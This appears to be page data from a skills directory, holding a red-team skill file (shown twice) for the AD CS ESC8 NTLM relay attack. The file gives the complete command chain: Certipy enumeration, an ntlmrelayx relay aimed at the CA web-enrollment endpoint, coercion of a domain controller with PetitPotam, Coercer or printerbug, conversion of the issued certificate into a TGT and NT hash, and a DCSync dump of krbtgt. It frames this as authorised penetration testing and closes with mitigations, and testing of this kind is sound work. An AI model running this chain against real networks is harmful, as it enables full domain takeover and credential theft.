[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AG6NC62BFKASMS7N8Z575M":3,"skill-same:01M6AG6NC62BFKASMS7N8Z575M":105},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":23,"publishedAt":44,"linkOnly":45,"markdownContent":46,"markdownBody":47,"frontMatter":48,"refName":60,"commitSha":61,"skillDirectory":62,"forksCount":63,"repositoryHtmlUrl":64,"repositoryHomepageUrl":65,"ownerHtmlUrl":66,"ownerBlogUrl":67,"ownerDescription":68,"updatedAt":69,"install":70,"resources":83},"01M6AG6NC62BFKASMS7N8Z575M","relaying-ntlm-for-adcs-esc8",null,"Uses Impacket's ntlmrelayx.py with a coercion tool (PetitPotam, Coercer, printerbug) to relay NTLM authentication from a coerced domain controller into the AD CS HTTP web-enrollment endpoint (ESC8), obtaining a DC certificate usable via Certipy for PKINIT\u002FDCSync. Use during internal AD penetration tests or purple-team exercises when AD CS Web Enrollment lacks Extended Protection for Authentication.","mukul975\u002FAnthropic-Cybersecurity-Skills","mukul975","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42860185?v=4","01M6ADEQR8T5M4EEG6C67BQCWF","Mahipal","01M6ADJPMYWG1E5GM1FWBE3128",35990,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Frelaying-ntlm-for-adcs-esc8\u002FSKILL.md",[18],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发","SCENARIO","使用场景",[24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43],"relaying ntlm for adcs esc8","adcs","esc8","ntlm-relay","certificate","endpoint","Impacket","controller","purple-team","dcsync","directory","coercer","petitpotam","coercion","escalation","active-directory","red-team","authentication","http","cybersecurity","2026-11-10 10:12:30",false,"---\nname: relaying-ntlm-for-adcs-esc8\ndescription: Uses Impacket's ntlmrelayx.py with a coercion tool (PetitPotam, Coercer,\n  printerbug) to relay NTLM authentication from a coerced domain controller into\n  the AD CS HTTP web-enrollment endpoint (ESC8), obtaining a DC certificate usable\n  via Certipy for PKINIT\u002FDCSync. Use during internal AD penetration tests or purple-team\n  exercises when AD CS Web Enrollment lacks Extended Protection for Authentication.\ndomain: cybersecurity\nsubdomain: red-teaming\ntags:\n- red-team\n- ntlm-relay\n- adcs\n- esc8\n- impacket\n- certipy\n- active-directory\n- privilege-escalation\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- DE.CM-01\nmitre_attack:\n- T1557.001\n---\n# Relaying NTLM for ADCS ESC8\n\n> **Legal Notice:** This skill is for authorized penetration testing, red-team engagements, and educational purposes only. Coercing authentication and relaying credentials against systems you do not own or lack explicit written authorization to test is illegal. Operate strictly within a signed rules-of-engagement; ESC8 coercion can affect production domain controllers.\n\n## Overview\n\nESC8 is one of the Active Directory Certificate Services (AD CS) escalation paths catalogued by SpecterOps in \"Certified Pre-Owned.\" It abuses the AD CS **HTTP web-enrollment endpoint** (`\u002Fcertsrv\u002F`), which by default supports NTLM authentication and, critically, does **not** enforce HTTPS channel binding or Extended Protection for Authentication (EPA). Because NTLM over HTTP on that endpoint is unprotected, an attacker can **coerce** a privileged machine account (typically a domain controller) into authenticating to an attacker-controlled host, then **relay** that NTLM authentication to the CA's web-enrollment page and request a certificate **as the coerced machine**.\n\nWhen the relayed victim is a domain controller, the attacker obtains a certificate for the DC's machine account (`DC01$`). That certificate can then be used for Kerberos PKINIT to request a TGT as the DC, recover the DC's NT hash, and ultimately perform DCSync — a full domain compromise. This maps to MITRE ATT&CK **T1557.001 (Adversary-in-the-Middle: LLMNR\u002FNBT-NS Poisoning and SMB Relay)**, extended here to NTLM relay against an HTTP enrollment service.\n\nThe standard toolchain is **Impacket's `ntlmrelayx.py`** (the relay engine, with `--adcs` mode), a coercion tool (**PetitPotam**, **Coercer**, **printerbug.py\u002Fdementor**), and **Certipy** for enumeration and for turning the captured certificate into a TGT \u002F NT hash.\n\n## When to Use\n\n- During an internal AD penetration test where AD CS with the HTTP Web Enrollment role is present and EPA is not enforced.\n- When you have a foothold (even an unauthenticated network position with a coercion vector) and want a path to Domain Admin via certificate impersonation.\n- When validating that the organization has mitigated ESC8 (EPA enabled, HTTP enrollment disabled, RPC\u002FEFSRPC coercion patched).\n- During purple-team exercises to test detection of coercion + relay + anomalous certificate enrollment.\n\n## Prerequisites\n\n- A network position that can reach the CA web-enrollment endpoint and a coercion vector to the target DC.\n- The CA hostname and an enrollable template that yields client-auth EKU (e.g., `DomainController`, `Machine`).\n- Tooling (install from official upstreams):\n\n```bash\n# Impacket (provides ntlmrelayx.py \u002F impacket-ntlmrelayx)\npipx install impacket\n\n# Certipy (AD CS enumeration + abuse)\npipx install certipy-ad\n\n# Coercion tools\ngit clone https:\u002F\u002Fgithub.com\u002Ftopotam\u002FPetitPotam.git\npipx install coercer            # https:\u002F\u002Fgithub.com\u002Fp0dalirius\u002FCoercer\n# printerbug.py ships with Impacket examples (MS-RPRN)\n```\n\n## Objectives\n\n- Enumerate AD CS to confirm an ESC8-vulnerable web-enrollment endpoint.\n- Stand up `ntlmrelayx` in `--adcs` mode targeting the CA enrollment URL.\n- Coerce a domain controller to authenticate to the relay (PetitPotam\u002FCoercer\u002Fprinterbug).\n- Capture the base64 certificate issued for the DC machine account.\n- Use Certipy to convert the certificate into a TGT and recover the DC NT hash.\n- Validate domain compromise (DCSync) and document mitigations.\n\n## MITRE ATT&CK Mapping\n\n| Technique ID | Name | Tactic | Relevance |\n|--------------|------|--------|-----------|\n| T1557.001 | Adversary-in-the-Middle: LLMNR\u002FNBT-NS Poisoning and SMB Relay | Credential Access \u002F Collection | The core ESC8 primitive relays coerced NTLM authentication to the AD CS HTTP endpoint. |\n| T1187 | Forced Authentication | Credential Access | PetitPotam\u002Fprinterbug coerce the DC to authenticate to the attacker. |\n| T1649 | Steal or Forge Authentication Certificates | Credential Access | The attack yields a certificate for the DC machine account used for PKINIT. |\n| T1003.006 | OS Credential Dumping: DCSync | Credential Access | The recovered DC identity enables DCSync for full domain compromise. |\n\n## Workflow\n\n### 1. Enumerate AD CS for ESC8\n\nUse Certipy to find enabled, vulnerable templates and confirm a web-enrollment endpoint:\n\n```bash\ncertipy find -u attacker@corp.local -p 'Password123!' -dc-ip 10.0.0.10 -vulnerable -enabled -stdout\n```\n\nLook for `ESC8` in the output and note the CA's web-enrollment URL (e.g., `http:\u002F\u002Fca01.corp.local\u002Fcertsrv\u002Fcertfnsh.asp`).\n\n### 2. Start the NTLM relay in ADCS mode\n\nPoint `ntlmrelayx` at the CA's web-enrollment endpoint and request a `DomainController` template certificate. `--adcs` enables AD CS relay; `-smb2support` accepts SMB2 coerced auth:\n\n```bash\nimpacket-ntlmrelayx \\\n  -t http:\u002F\u002Fca01.corp.local\u002Fcertsrv\u002Fcertfnsh.asp \\\n  -smb2support \\\n  --adcs \\\n  --template DomainController\n```\n\nFor relaying a member server\u002Fworkstation instead of a DC, use `--template Machine` (or `User` for a user account).\n\n### 3. Coerce the domain controller to authenticate\n\nTrigger the DC to authenticate to the relay listener using a coercion primitive.\n\nPetitPotam (MS-EFSRPC):\n\n```bash\n# python3 PetitPotam.py \u003Clistener\u002Fattacker IP> \u003Ctarget DC IP>\npython3 PetitPotam.py -u attacker -p 'Password123!' -d corp.local 10.0.0.50 10.0.0.10\n```\n\nCoercer (multi-protocol coercion):\n\n```bash\ncoercer coerce -u attacker -p 'Password123!' -d corp.local -l 10.0.0.50 -t 10.0.0.10\n```\n\nprinterbug.py (MS-RPRN, ships with Impacket):\n\n```bash\npython3 printerbug.py corp.local\u002Fattacker:'Password123!'@10.0.0.10 10.0.0.50\n```\n\n### 4. Capture the issued certificate\n\nWhen the coerced DC authenticates, `ntlmrelayx` relays it to the CA and prints output similar to:\n\n```\n[*] Authenticating against http:\u002F\u002Fca01.corp.local as CORP\u002FDC01$ SUCCEED\n[*] GOT CERTIFICATE! ID 1337\n[*] Base64 certificate of user DC01$:\nMIIRXAIBAzCC...\u003Csnip>...\n```\n\nSave the base64 PKCS#12 blob to a `.pfx` file (decode it; the cert has no export password by default):\n\n```bash\necho 'MIIRXAIBAzCC...\u003Csnip>...' | base64 -d > dc01.pfx\n```\n\n### 5. Convert the certificate to a TGT and NT hash\n\nUse Certipy to authenticate with the certificate via PKINIT, obtaining a Kerberos TGT and the DC machine-account NT hash:\n\n```bash\ncertipy auth -pfx dc01.pfx -dc-ip 10.0.0.10\n```\n\nCertipy outputs a `.ccache` TGT and the NT hash, e.g. `[*] Got hash for 'dc01$@corp.local': aad3b435...:\u003CNTHASH>`.\n\n### 6. Leverage the DC identity (DCSync)\n\nWith the DC machine account's hash\u002FTGT, perform DCSync to extract domain credentials (e.g., `krbtgt`, Domain Admins) using the recovered TGT:\n\n```bash\n# Use the ccache TGT, then DCSync via secretsdump\nexport KRB5CCNAME=dc01.ccache\nimpacket-secretsdump -k -no-pass corp.local\u002F'DC01$'@dc01.corp.local -just-dc-user krbtgt\n```\n\n### 7. Validate mitigations (defensive checklist)\n\nConfirm the environment is hardened against ESC8 after testing:\n\n- Enable Extended Protection for Authentication (EPA) on the AD CS web-enrollment IIS site and require HTTPS.\n- Disable NTLM on the CA enrollment endpoint; prefer the enrollment proxy with EPA.\n- Remove unused HTTP Web Enrollment role services where possible.\n- Patch coercion vectors (MS-EFSRPC\u002FPetitPotam, MS-RPRN\u002Fprinterbug) and restrict RPC.\n- Monitor for forced authentication and anomalous machine-account certificate enrollment.\n\n## Tools and Resources\n\n| Tool | Purpose | Link |\n|------|---------|------|\n| Impacket ntlmrelayx | NTLM relay engine with `--adcs` mode | https:\u002F\u002Fgithub.com\u002Ffortra\u002Fimpacket |\n| Certipy | AD CS enumeration and certificate abuse | https:\u002F\u002Fgithub.com\u002Fly4k\u002FCertipy |\n| PetitPotam | MS-EFSRPC coercion | https:\u002F\u002Fgithub.com\u002Ftopotam\u002FPetitPotam |\n| Coercer | Multi-protocol coercion | https:\u002F\u002Fgithub.com\u002Fp0dalirius\u002FCoercer |\n| Certified Pre-Owned (SpecterOps) | Original AD CS abuse research | https:\u002F\u002Fspecterops.io\u002Fwp-content\u002Fuploads\u002Fsites\u002F3\u002F2022\u002F06\u002FCertified_Pre-Owned.pdf |\n| SpecterOps CoerceAndRelayNTLMToADCS | ESC8 edge reference | https:\u002F\u002Fbloodhound.specterops.io\u002Fresources\u002Fedges\u002Fcoerce-and-relay-ntlm-to-adcs |\n\n## Validation Criteria\n\n- [ ] AD CS enumerated and an ESC8-vulnerable web-enrollment endpoint confirmed with `certipy find -vulnerable`.\n- [ ] `ntlmrelayx --adcs --template DomainController` listener running against the CA URL.\n- [ ] Coercion (PetitPotam\u002FCoercer\u002Fprinterbug) triggered against the target DC.\n- [ ] Base64 certificate for the DC machine account captured and saved as `.pfx`.\n- [ ] Certificate converted to a TGT and NT hash with `certipy auth`.\n- [ ] Domain compromise validated via DCSync (in scope only).\n- [ ] EPA\u002FHTTPS and coercion-patch mitigations verified and documented.\n","# Relaying NTLM for ADCS ESC8\n\n> **Legal Notice:** This skill is for authorized penetration testing, red-team engagements, and educational purposes only. Coercing authentication and relaying credentials against systems you do not own or lack explicit written authorization to test is illegal. Operate strictly within a signed rules-of-engagement; ESC8 coercion can affect production domain controllers.\n\n## Overview\n\nESC8 is one of the Active Directory Certificate Services (AD CS) escalation paths catalogued by SpecterOps in \"Certified Pre-Owned.\" It abuses the AD CS **HTTP web-enrollment endpoint** (`\u002Fcertsrv\u002F`), which by default supports NTLM authentication and, critically, does **not** enforce HTTPS channel binding or Extended Protection for Authentication (EPA). Because NTLM over HTTP on that endpoint is unprotected, an attacker can **coerce** a privileged machine account (typically a domain controller) into authenticating to an attacker-controlled host, then **relay** that NTLM authentication to the CA's web-enrollment page and request a certificate **as the coerced machine**.\n\nWhen the relayed victim is a domain controller, the attacker obtains a certificate for the DC's machine account (`DC01$`). That certificate can then be used for Kerberos PKINIT to request a TGT as the DC, recover the DC's NT hash, and ultimately perform DCSync — a full domain compromise. This maps to MITRE ATT&CK **T1557.001 (Adversary-in-the-Middle: LLMNR\u002FNBT-NS Poisoning and SMB Relay)**, extended here to NTLM relay against an HTTP enrollment service.\n\nThe standard toolchain is **Impacket's `ntlmrelayx.py`** (the relay engine, with `--adcs` mode), a coercion tool (**PetitPotam**, **Coercer**, **printerbug.py\u002Fdementor**), and **Certipy** for enumeration and for turning the captured certificate into a TGT \u002F NT hash.\n\n## When to Use\n\n- During an internal AD penetration test where AD CS with the HTTP Web Enrollment role is present and EPA is not enforced.\n- When you have a foothold (even an unauthenticated network position with a coercion vector) and want a path to Domain Admin via certificate impersonation.\n- When validating that the organization has mitigated ESC8 (EPA enabled, HTTP enrollment disabled, RPC\u002FEFSRPC coercion patched).\n- During purple-team exercises to test detection of coercion + relay + anomalous certificate enrollment.\n\n## Prerequisites\n\n- A network position that can reach the CA web-enrollment endpoint and a coercion vector to the target DC.\n- The CA hostname and an enrollable template that yields client-auth EKU (e.g., `DomainController`, `Machine`).\n- Tooling (install from official upstreams):\n\n```bash\n# Impacket (provides ntlmrelayx.py \u002F impacket-ntlmrelayx)\npipx install impacket\n\n# Certipy (AD CS enumeration + abuse)\npipx install certipy-ad\n\n# Coercion tools\ngit clone https:\u002F\u002Fgithub.com\u002Ftopotam\u002FPetitPotam.git\npipx install coercer            # https:\u002F\u002Fgithub.com\u002Fp0dalirius\u002FCoercer\n# printerbug.py ships with Impacket examples (MS-RPRN)\n```\n\n## Objectives\n\n- Enumerate AD CS to confirm an ESC8-vulnerable web-enrollment endpoint.\n- Stand up `ntlmrelayx` in `--adcs` mode targeting the CA enrollment URL.\n- Coerce a domain controller to authenticate to the relay (PetitPotam\u002FCoercer\u002Fprinterbug).\n- Capture the base64 certificate issued for the DC machine account.\n- Use Certipy to convert the certificate into a TGT and recover the DC NT hash.\n- Validate domain compromise (DCSync) and document mitigations.\n\n## MITRE ATT&CK Mapping\n\n| Technique ID | Name | Tactic | Relevance |\n|--------------|------|--------|-----------|\n| T1557.001 | Adversary-in-the-Middle: LLMNR\u002FNBT-NS Poisoning and SMB Relay | Credential Access \u002F Collection | The core ESC8 primitive relays coerced NTLM authentication to the AD CS HTTP endpoint. |\n| T1187 | Forced Authentication | Credential Access | PetitPotam\u002Fprinterbug coerce the DC to authenticate to the attacker. |\n| T1649 | Steal or Forge Authentication Certificates | Credential Access | The attack yields a certificate for the DC machine account used for PKINIT. |\n| T1003.006 | OS Credential Dumping: DCSync | Credential Access | The recovered DC identity enables DCSync for full domain compromise. |\n\n## Workflow\n\n### 1. Enumerate AD CS for ESC8\n\nUse Certipy to find enabled, vulnerable templates and confirm a web-enrollment endpoint:\n\n```bash\ncertipy find -u attacker@corp.local -p 'Password123!' -dc-ip 10.0.0.10 -vulnerable -enabled -stdout\n```\n\nLook for `ESC8` in the output and note the CA's web-enrollment URL (e.g., `http:\u002F\u002Fca01.corp.local\u002Fcertsrv\u002Fcertfnsh.asp`).\n\n### 2. Start the NTLM relay in ADCS mode\n\nPoint `ntlmrelayx` at the CA's web-enrollment endpoint and request a `DomainController` template certificate. `--adcs` enables AD CS relay; `-smb2support` accepts SMB2 coerced auth:\n\n```bash\nimpacket-ntlmrelayx \\\n  -t http:\u002F\u002Fca01.corp.local\u002Fcertsrv\u002Fcertfnsh.asp \\\n  -smb2support \\\n  --adcs \\\n  --template DomainController\n```\n\nFor relaying a member server\u002Fworkstation instead of a DC, use `--template Machine` (or `User` for a user account).\n\n### 3. Coerce the domain controller to authenticate\n\nTrigger the DC to authenticate to the relay listener using a coercion primitive.\n\nPetitPotam (MS-EFSRPC):\n\n```bash\n# python3 PetitPotam.py \u003Clistener\u002Fattacker IP> \u003Ctarget DC IP>\npython3 PetitPotam.py -u attacker -p 'Password123!' -d corp.local 10.0.0.50 10.0.0.10\n```\n\nCoercer (multi-protocol coercion):\n\n```bash\ncoercer coerce -u attacker -p 'Password123!' -d corp.local -l 10.0.0.50 -t 10.0.0.10\n```\n\nprinterbug.py (MS-RPRN, ships with Impacket):\n\n```bash\npython3 printerbug.py corp.local\u002Fattacker:'Password123!'@10.0.0.10 10.0.0.50\n```\n\n### 4. Capture the issued certificate\n\nWhen the coerced DC authenticates, `ntlmrelayx` relays it to the CA and prints output similar to:\n\n```\n[*] Authenticating against http:\u002F\u002Fca01.corp.local as CORP\u002FDC01$ SUCCEED\n[*] GOT CERTIFICATE! ID 1337\n[*] Base64 certificate of user DC01$:\nMIIRXAIBAzCC...\u003Csnip>...\n```\n\nSave the base64 PKCS#12 blob to a `.pfx` file (decode it; the cert has no export password by default):\n\n```bash\necho 'MIIRXAIBAzCC...\u003Csnip>...' | base64 -d > dc01.pfx\n```\n\n### 5. Convert the certificate to a TGT and NT hash\n\nUse Certipy to authenticate with the certificate via PKINIT, obtaining a Kerberos TGT and the DC machine-account NT hash:\n\n```bash\ncertipy auth -pfx dc01.pfx -dc-ip 10.0.0.10\n```\n\nCertipy outputs a `.ccache` TGT and the NT hash, e.g. `[*] Got hash for 'dc01$@corp.local': aad3b435...:\u003CNTHASH>`.\n\n### 6. Leverage the DC identity (DCSync)\n\nWith the DC machine account's hash\u002FTGT, perform DCSync to extract domain credentials (e.g., `krbtgt`, Domain Admins) using the recovered TGT:\n\n```bash\n# Use the ccache TGT, then DCSync via secretsdump\nexport KRB5CCNAME=dc01.ccache\nimpacket-secretsdump -k -no-pass corp.local\u002F'DC01$'@dc01.corp.local -just-dc-user krbtgt\n```\n\n### 7. Validate mitigations (defensive checklist)\n\nConfirm the environment is hardened against ESC8 after testing:\n\n- Enable Extended Protection for Authentication (EPA) on the AD CS web-enrollment IIS site and require HTTPS.\n- Disable NTLM on the CA enrollment endpoint; prefer the enrollment proxy with EPA.\n- Remove unused HTTP Web Enrollment role services where possible.\n- Patch coercion vectors (MS-EFSRPC\u002FPetitPotam, MS-RPRN\u002Fprinterbug) and restrict RPC.\n- Monitor for forced authentication and anomalous machine-account certificate enrollment.\n\n## Tools and Resources\n\n| Tool | Purpose | Link |\n|------|---------|------|\n| Impacket ntlmrelayx | NTLM relay engine with `--adcs` mode | https:\u002F\u002Fgithub.com\u002Ffortra\u002Fimpacket |\n| Certipy | AD CS enumeration and certificate abuse | https:\u002F\u002Fgithub.com\u002Fly4k\u002FCertipy |\n| PetitPotam | MS-EFSRPC coercion | https:\u002F\u002Fgithub.com\u002Ftopotam\u002FPetitPotam |\n| Coercer | Multi-protocol coercion | https:\u002F\u002Fgithub.com\u002Fp0dalirius\u002FCoercer |\n| Certified Pre-Owned (SpecterOps) | Original AD CS abuse research | https:\u002F\u002Fspecterops.io\u002Fwp-content\u002Fuploads\u002Fsites\u002F3\u002F2022\u002F06\u002FCertified_Pre-Owned.pdf |\n| SpecterOps CoerceAndRelayNTLMToADCS | ESC8 edge reference | https:\u002F\u002Fbloodhound.specterops.io\u002Fresources\u002Fedges\u002Fcoerce-and-relay-ntlm-to-adcs |\n\n## Validation Criteria\n\n- [ ] AD CS enumerated and an ESC8-vulnerable web-enrollment endpoint confirmed with `certipy find -vulnerable`.\n- [ ] `ntlmrelayx --adcs --template DomainController` listener running against the CA URL.\n- [ ] Coercion (PetitPotam\u002FCoercer\u002Fprinterbug) triggered against the target DC.\n- [ ] Base64 certificate for the DC machine account captured and saved as `.pfx`.\n- [ ] Certificate converted to a TGT and NT hash with `certipy auth`.\n- [ ] Domain compromise validated via DCSync (in scope only).\n- [ ] EPA\u002FHTTPS and coercion-patch mitigations verified and documented.\n",{"name":5,"tags":49,"author":53,"domain":43,"license":15,"version":54,"nist_csf":55,"subdomain":57,"description":7,"mitre_attack":58},[40,27,25,26,50,51,39,52],"impacket","certipy","privilege-escalation","mahipal","1.0",[56],"DE.CM-01","red-teaming",[59],"T1557.001","main","54a798831d2266a3ca61ce68a7acb80b81160d57","skills\u002Frelaying-ntlm-for-adcs-esc8",4395,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","https:\u002F\u002Fmahipal.engineer\u002FAnthropic-Cybersecurity-Skills\u002F","https:\u002F\u002Fgithub.com\u002Fmukul975","Mahipal.engineer","🔐 Cybersecurity | 💻 Dev | 📷 Street Photographer\r\n🎓 MSc | 📚 Research & AI Security","2026-08-31 12:32:44",{"source":8,"skillName":5,"commands":71,"prompt":81,"zipAvailable":82},[72,75,78],{"tool":73,"command":74},"npx","npx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill relaying-ntlm-for-adcs-esc8",{"tool":76,"command":77},"bunx","bunx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill relaying-ntlm-for-adcs-esc8",{"tool":79,"command":80},"pnpm","pnpm dlx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill relaying-ntlm-for-adcs-esc8","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Frelaying-ntlm-for-adcs-esc8\u002FSKILL.md",true,[84,89,95,99],{"path":85,"resourceType":85,"resourceTypeDesc":86,"sizeBytes":87,"sourceHtmlUrl":88},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Frelaying-ntlm-for-adcs-esc8\u002FLICENSE",{"path":90,"resourceType":91,"resourceTypeDesc":92,"sizeBytes":93,"sourceHtmlUrl":94},"references\u002Fapi-reference.md","REFERENCE","参考文档",2656,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Frelaying-ntlm-for-adcs-esc8\u002Freferences\u002Fapi-reference.md",{"path":96,"resourceType":91,"resourceTypeDesc":92,"sizeBytes":97,"sourceHtmlUrl":98},"references\u002Fstandards.md",1945,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Frelaying-ntlm-for-adcs-esc8\u002Freferences\u002Fstandards.md",{"path":100,"resourceType":101,"resourceTypeDesc":102,"sizeBytes":103,"sourceHtmlUrl":104},"scripts\u002Fagent.py","SCRIPT","脚本",7600,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Frelaying-ntlm-for-adcs-esc8\u002Fscripts\u002Fagent.py",[106,133,157,185,211,238],{"skillNo":107,"name":108,"nameZh":6,"description":109,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":110,"categories":111,"keywords":113,"publishedAt":44},"01M6AGDM3HJXTKXX15ZZ0ZVCJ3","verifying-build-provenance-with-slsa-sigstore","Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI\u002FCD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fverifying-build-provenance-with-slsa-sigstore\u002FSKILL.md",[112],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[114,115,116,117,118,43,119,120,121,122,123,124,125,126,127,128,129,130,131,132],"sigstore","provenance","slsa","verifying build provenance with slsa sigstore","security","incident response","identity","pr","code","artifacts","ci","supply-chain","pipeline","supply-chain-security","t1195","attestation","code-signing","cosign","keyless",{"skillNo":134,"name":135,"nameZh":6,"description":136,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":137,"categories":138,"keywords":140,"publishedAt":44},"01M6AGDGBPWYVZ2F11GFKJ4HZ9","validating-tpm-measured-boot-attestation","Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote\u002Ftpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware\u002Fkernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-tpm-measured-boot-attestation\u002FSKILL.md",[139],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[141,129,142,143,118,144,43,121,145,146,147,148,149,150,151,152,153,154,155,156],"boot","TPM","validating tpm measured boot attestation","policy","verification","ZeRO","firmware","Tools","measured-boot","PCR","integrity","secrets","remote-attestation","tpm2-tools","integrity-verification","trusted-computing",{"skillNo":158,"name":159,"nameZh":6,"description":160,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":161,"categories":162,"keywords":167,"publishedAt":44},"01M6AGDCW0Y4FXZ3362GT1941M","validating-backup-integrity-for-recovery","Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable\u002Fair-gapped backups for silent corruption or tampering.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[163,166],{"categoryNo":164,"categoryName":165,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量",{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[151,168,169,170,171,43,172,173,145,174,175,176,177,178,179,180,181,182,183,184],"backup","recovery","validating backup integrity for recovery","testing","infrastructure","validation","compliance","hash-verification","incident-response","ransomware","cryptocurrency","detection","t1078","t1490","immutable","disaster-recovery","restore-testing",{"skillNo":186,"name":187,"nameZh":6,"description":188,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":189,"categories":190,"keywords":192,"publishedAt":44},"01M6AGD9GBG2KZ336AE763J3WH","triaging-windows-with-kape","Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment\u002Ftriage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-windows-with-kape\u002FSKILL.md",[191],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[193,194,195,43,196,197,198,199,200,201,202,203,204,205,206,207,148,208,209,210],"windows","kape","triaging windows with kape","registry","browser","logs","windows-forensics","dfir","mft","mftecmd","data","prefetch","eric-zimmerman","digital-forensics","SET","collection","pecmd","artifact-collection",{"skillNo":212,"name":213,"nameZh":6,"description":214,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":215,"categories":216,"keywords":218,"publishedAt":44},"01M6AGD5PW5J4EVZM958WD74ZQ","triaging-vulnerabilities-with-ssvc-framework","Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track\u002FTrack*\u002FAttend\u002FAct decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS scores.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[217],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},[219,220,221,43,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237],"vulnerabilities","framework","triaging vulnerabilities with ssvc 